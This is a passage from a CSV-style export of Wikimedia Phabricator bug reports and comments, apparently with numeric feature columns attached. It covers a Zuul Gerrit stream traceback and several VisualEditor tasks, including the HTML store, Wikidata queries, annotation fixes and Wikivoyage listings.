+  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 52, in _listen
+    self._read(stdout)
+  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 39, in _read
+    data = json.loads(l)
+  File ""/usr/lib/python2.7/json/__init__.py"", line 326, in loads
+    return _default_decoder.decode(s)
+  File ""/usr/lib/python2.7/json/decoder.py"", line 366, in decode
+    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
+  File ""/usr/lib/python2.7/json/decoder.py"", line 384, in raw_decode
+    raise ValueError(""No JSON object could be decoded"")
+ValueError: No JSON object could be decoded",,,1365154348,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1
+207539,Zuul: Gerrit's ssh event stream unavailable,This is a major regression in our development workflow.,,,1365153289,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-13,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+48618,VisualEditor: Normalize all preservation to use HTML store,"All HTML preservation should be changed to store the full HTML of the node/annotation and use the HTML store. This means removing the html/* attributes from nodes, and the strange things (original tag name and attributes) we put in annotations.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1364432880,1370307483.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-pi36geznysiuvpgm2xg5,task_description,invalid,True,c1,1,False,False,True,-14,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+214724,VisualEditor: Normalize all preservation to use HTML store,Roan tells me we went in a different direction with this.,,,1370307483,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pi36geznysiuvpgm2xg5,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+214721,VisualEditor: Normalize all preservation to use HTML store,This also needs corresponding changes in the CE code for whitelisted rendering.,,,1364433518,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-pi36geznysiuvpgm2xg5,task_subcomment,,True,c1,1,False,,,-14,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+48521,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,"Though T41598 will mean that VisualEditor will be able to edit infoboxes as they are now (alongside other templates), in the near-future Wikidata will replace a great many of the entries in these infoboxes with Wikidata queries (syntax still to be locked down).
+
+For the VisualEditor to be truly useful for users in this context, users should be able to:
+* add, review, modify and remove references to existing Wikidata queries;
+* add or amend arbitrary Wikidata queries for the above; and
+* do so in both VisualEditor-mode contexts (paragraphs of text etc.) and wikitext-mode contexts (like the template dialog as it will initially be).
+
+--------------------------
+**See Also**:
+{T41598}",Medium,50.0,1364168100,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-wlq23wlr4vjsce4a5eom,task_description,open,True,c1,1,True,False,,-15,,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+650873,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,Is this task related to {T131661} or vice versa?,,,1461569518,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-wlq23wlr4vjsce4a5eom,task_subcomment,,True,c1,3,False,,,147,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+650673,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,"[[ https://de.wikipedia.org/wiki/Wikipedia_Diskussion:Wikidata#Listenerstellung | Here ]] I made a detailed proposal for a mechanism to edit Wikidata claims in every mode you can view a page. (wikitext, visual editor, preview, view).
+
+If you are interested, I can transakte it form German to English.",,,1461510555,,PHID-USER-4z6eerx3m7iocsrcpku5,True,,,PHID-TASK-wlq23wlr4vjsce4a5eom,task_subcomment,,True,c1,3,False,,,146,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+650671,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,"[[ https://de.wikipedia.org/wiki/Wikipedia_Diskussion:Wikidata#Listenerstellung | Here ]] I made a detailed proposal for a mechanism to edit Wikidata claims in every mode you can view a page. (wikitext, visual editor, preview, view)",,,1461510510,,PHID-USER-4z6eerx3m7iocsrcpku5,True,,,PHID-TASK-wlq23wlr4vjsce4a5eom,task_subcomment,,True,c1,3,False,,,146,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+208413,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,I consider this very important. We'll unfortunately not be able to dedicate resources to this in the near future. Does your team have them? We should discuss in this case how exactly this should all look like in the end.,,,1383578295,,PHID-USER-7n5fvppwj4ueprv2iuys,True,,,PHID-TASK-wlq23wlr4vjsce4a5eom,task_subcomment,,True,c1,3,True,,,18,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0
+208405,Create a VisualEditor plugin tool to insert/edit references to Wikidata queries,[replacing wikidata keyword by adding CC - see bug 56417],,,1383221707,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-wlq23wlr4vjsce4a5eom,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+48464,VisualEditor: Annotation API fixes,"* Make toHTML() return real DOM nodes, we don't need the weird construction for CE any more
+* Pass in the content so it's possible to have rules like ""if the annotation only covers whitespace, strip it""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1363986660,1428423688.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ywpcq2rcuhvgvzt5k6zj,task_description,resolved,True,c1,1,False,False,False,-15,,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,0
+439726,VisualEditor: Annotation API fixes,It's a T39835 issue.,,,1428423652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ywpcq2rcuhvgvzt5k6zj,task_subcomment,,True,c1,3,True,,,92,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+437826,VisualEditor: Annotation API fixes,"I didn't know whether to reopen this or add a note to T39835, but looks like it's still possible to [[ https://fr.wikipedia.org/w/index.php?title=Asselin_(entreprise)&curid=8746091&diff=113502024&oldid=112208671 | create an empty wikilink ]]? ",,,1428045874,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ywpcq2rcuhvgvzt5k6zj,task_subcomment,,True,c1,3,False,,,91,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+230024,VisualEditor: Annotation API fixes,Now done.,,,1366141186,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ywpcq2rcuhvgvzt5k6zj,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+48456,[Regression] VisualEditor: Error in load() leaves page in dimmed state (Uncaught TypeError: Cannot call method 'removeAllListeners' of null),"Steps to reproduce issue:
+* MediaWiki + VisualEditor (no Parsoid)
+* Edit page (dims the page while loading)
+* Error pops up (parsoidserver-http-curl-error)
+* Cancel
+
+Expected:
+ Page undims.
+
+Actual:
+ Page still dimmed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1363973460,1363982636.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-qe3ooothxjpeykl2xzld,task_description,resolved,True,c1,1,True,False,True,-15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+229255,[Regression] VisualEditor: Error in load() leaves page in dimmed state (Uncaught TypeError: Cannot call method 'removeAllListeners' of null),"Change-Id: I91ad2b110c2c523a4bb367407e3f33a953328ab4
+
+That should fix it for now (quick fix). I'm now going to look into how much of this can be refactored to avoid this in the first place. It's all a bit too fragile.",,,1363976526,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qe3ooothxjpeykl2xzld,task_subcomment,,True,c1,1,True,,,-15,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+229249,[Regression] VisualEditor: Error in load() leaves page in dimmed state (Uncaught TypeError: Cannot call method 'removeAllListeners' of null),"Caused by I7769bd5a5b79f1ab36f258ef9f2be583ca503ce6.
+
+In the refactoring Trevor moved the initialisation of the DOM element for the save/cancel buttons from the ve.init.mw.ViewPageTarget constructor to ve.init.mw.ViewPageTarget#setupToolbarButtons, which isn't called until after a successful load.
+
+So, when #load() is called from #activate() and fails a loadError is emitted. onLoadError then calls #deacativate() which calls #tearDownToolbarButtons()
+
+But tearDownToolbarButtons is unable to call this.toolbarCancelButton.removeAllListeners because the button doesn't exist yet because setupToolbarButtons was never called.",,,1363976008,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qe3ooothxjpeykl2xzld,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+48246,VisualEditor: Trying to auto select a word just after an alien node causes an exception in rangy.,"1. Load the 'aliens' example document.
+2. Place the cursor in front of the first 'Lorem' and hit the link button.
+3. Observe the exception
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1363548060,1364218671.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-2a3roys3zrsyau3jssx7,task_description,resolved,True,c1,1,True,False,True,-16,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+215891,VisualEditor: Trying to auto select a word just after an alien node causes an exception in rangy.,Marking as fixed for -04-01 as it wasn't for -03-18.,,,1364223708,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2a3roys3zrsyau3jssx7,task_subcomment,,True,c1,1,True,,,-14,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+215885,VisualEditor: Trying to auto select a word just after an alien node causes an exception in rangy.,Looks to be fixed in master now. Not sure which commit did it....,,,1364218671,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-2a3roys3zrsyau3jssx7,task_subcomment,,True,c1,1,True,,,-14,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+215879,VisualEditor: Trying to auto select a word just after an alien node causes an exception in rangy.,"Ed, I can't reproduce it the way you described it. Please note that around first 'Lorem' (first paragraph) there is no alien (inline nor block).",,,1363801281,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-2a3roys3zrsyau3jssx7,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0
+48225,Create a VisualEditor plugin tool to add/edit Listings,"**Author:** `lukebenes`
+
+**Description:**
+I see from [http://en.wikivoyage.org/wiki/Wikivoyage:Accommodation_listings The Accomodations Listing suggested style you want people to continue to use the wikitravel tags. But I do not see any tools to automate the process. 
+
+If you look at the Add and Edit Listing Feature listing like those that can be found [http://wikitravel.org/en/Wikitravel:Small_city_article_template#Sleep here] and [http://wikitravel.org/en/Trat#Sleep here]? You'll see there is a tool to edit these tag. 
+
+This tags is extremely useful to organize data and make quick edits. For example, I have fixed many incorrect phone numbers and addresses using this helpful tool. Please consider adding this feature the MediaWiki.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1363453140,1719889959.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-escte3psz5yfd2nj3jzr,False,PHID-TASK-tqro35vsrplftuemdxbd,task_description,declined,True,c1,1,False,False,False,-16,,1,0,1,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+2369372,Create a VisualEditor plugin tool to add/edit Listings,"{T354997}
+
+Listings nowdays are just template calls, which VisualEditor has reasonable tools to edit.",,,1719889959,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,3,True,,,574,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+702789,Create a VisualEditor plugin tool to add/edit Listings,">>! In T48225#2501154, @T.seppelt wrote:
+> Since listings are highly structured and can be shared across several Wikivoyage language versions, Wikidata editing should be implemented before rolling this out.
+
+Certainly, I think storing this data in Wikidata would be a good move. I'm not absolutely sure it should happen first, but I suppose it depends on who wants to work on what. :-)",,,1469817709,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,3,True,,,160,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+701805,Create a VisualEditor plugin tool to add/edit Listings,"Since listings are highly structured and can be shared across several Wikivoyage language versions, Wikidata editing should be implemented before rolling this out. I added T141345 for this. 
+
+Note also that there is https://en.wikivoyage.org/wiki/Wikivoyage:Listing_editor, a tool especially designed for editing listings.",,,1469686526,,PHID-USER-yyjb72nqrow4ij7mzhhm,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,3,False,,,160,,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+639615,Create a VisualEditor plugin tool to add/edit Listings,"Note that, in my view, this is not a blocker for enabling the visual editor on Wikivoyages for all users. This is because almost no uses of `<listing>`s are done directly in wikitext, but instead through a template, which could do with some TemplateData love, but is supported fine already.
+
+If you think I'm wrong please shout. :-)",,,1459668127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,3,True,,,143,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+214696,Create a VisualEditor plugin tool to add/edit Listings,"**lukebenes** wrote:
+
+Have you taken a look at WP:HOTCAT?
+
+http://en.wikipedia.org/wiki/Wikipedia:HC
+
+HotCat is a JavaScript program that helps registered users easily remove, change and add categories to Wikipedia pages. This is very similar to the functionality that we need for the Listing Editor.",,,1371640823,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,2,False,,,-2,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+214688,Create a VisualEditor plugin tool to add/edit Listings,"This is about the Listings extension which is unique (in Wikimedia land) to Wikivoyage - https://www.mediawiki.org/wiki/Extension:Listings
+
+It creates the following tags:
+
+<buy>
+<do>
+<drink>
+<eat>
+<listing>
+<see>
+<sleep>
+
+They are used to provide structured mark-up and hinting of recommendations for WV listings of places to go.
+
+Sorry for the confusion. :-)",,,1364934457,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+214681,Create a VisualEditor plugin tool to add/edit Listings,"We weren't talking about any extension. This report was filed against MediaWiki core. Happy to move it to the right place, as long as we know what is the right place.
+
+Luke, are you saying those tags were created in the Wikitravel times? If so, it would be useful to know how did they handle them.",,,1364933198,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,1,False,,,-13,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0
+214676,Create a VisualEditor plugin tool to add/edit Listings,"Actually, on reflection this should live in the Extension we're talking about, and block against a tracker for such creations in VE itself. Sorry to mess this around.",,,1364926961,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+214669,Create a VisualEditor plugin tool to add/edit Listings,"Looking at our roadmap, the implementation of this feature looks more like a candidate for a VisualEditor plugin. 
+
+MediaWiki core features must be generic enough for different wikis and must be reviewed and integrated by core maintainers. Visual Editor plugins can be developed by anybody and it is perfecty ok to have them for very specific purposes e.g. a Wikivoyage plugin.",,,1364925993,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,1,False,,,-13,,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+214665,Create a VisualEditor plugin tool to add/edit Listings,"**lukebenes** wrote:
+
+There is a discussion about this feature on the wikivoyage site here:
+http://en.wikivoyage.org/wiki/Wikivoyage:Roadmap/Improved_editing_interface",,,1363529899,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+47872,VisualEditor: Clean up inconsistent documentation of event emissions,"Some events are undocumented (like ve.dm.Surface.prototype.change, which emits multiple events but documents none), most have the event name without quotes, but some have single quotes (ve.dm.Surface.addInsertionAnnotation) or double quotes (ve.ui.Toolbar.prototype.onContextChange). Parameters sometimes are documented and sometimes aren't, there's no clear distinction between ""parameters aren't documented"" and ""there aren't any"", and in no case do we document the types and descriptions of event parameters, we only ever document their names.
+
+We probably also don't document events with @event nearly as often as we should. It's a huge mess.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1362706560,1363798993.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ynwo2pb45ypgaglir47z,task_description,resolved,True,c1,1,False,False,True,-17,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,1,0
+219343,VisualEditor: Clean up inconsistent documentation of event emissions,Change-Id: Id879aa769b2c72d86a0322e75dddeb868211ce28,,,1363763464,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ynwo2pb45ypgaglir47z,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+219336,VisualEditor: Clean up inconsistent documentation of event emissions,Working on it.,,,1363762434,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ynwo2pb45ypgaglir47z,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+47871,VisualEditor: VE should be able to be 'default' for some namespaces and by user preference elsewise/in others,"Right now VE is either 'default' for some given namespaces, or enabled but only exposed by user preference for some namespaces; it should be possible to have a mixed-installation for testing/etc.
+
+--------------------------
+**Version**: unspecified
